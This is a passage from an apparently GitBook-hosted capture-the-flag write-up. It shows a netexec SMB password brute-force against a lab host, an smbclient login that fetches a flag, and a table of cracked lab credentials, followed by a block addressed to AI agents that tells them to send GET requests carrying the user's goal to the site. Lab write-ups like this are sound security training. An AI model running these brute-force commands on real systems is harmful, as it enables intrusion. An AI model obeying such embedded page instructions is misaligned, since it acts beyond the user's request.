Use it as a target for the next attack. #### Step 2 — Brute-force as cassie ```bash netexec smb 10.129.202.136 -u cassie -p password.list --continue-on-success ``` Output: ``` SMB 10.129.202.136 445 WINSRV [+] WINSRV\cassie:12345678910 ``` Valid credentials: `cassie:12345678910` #### Step 3 — Login to SMB share and download flag ```bash smbclient --user cassie //10.129.202.136/CASSIE 12345678910 ``` ``` smb: \> get flag.txt ``` *** ### Credentials Summary | Service | Username | Password | | ------- | -------- | ----------- | | WinRM | john | november | | SSH | dennis | rockstar | | RDP | chris | 789456123 | | SMB | cassie | 12345678910 | --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://capcap-1.gitbook.io/capcap/readme/ctf-modules/exploitation/password-attacks/network-services/questions.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
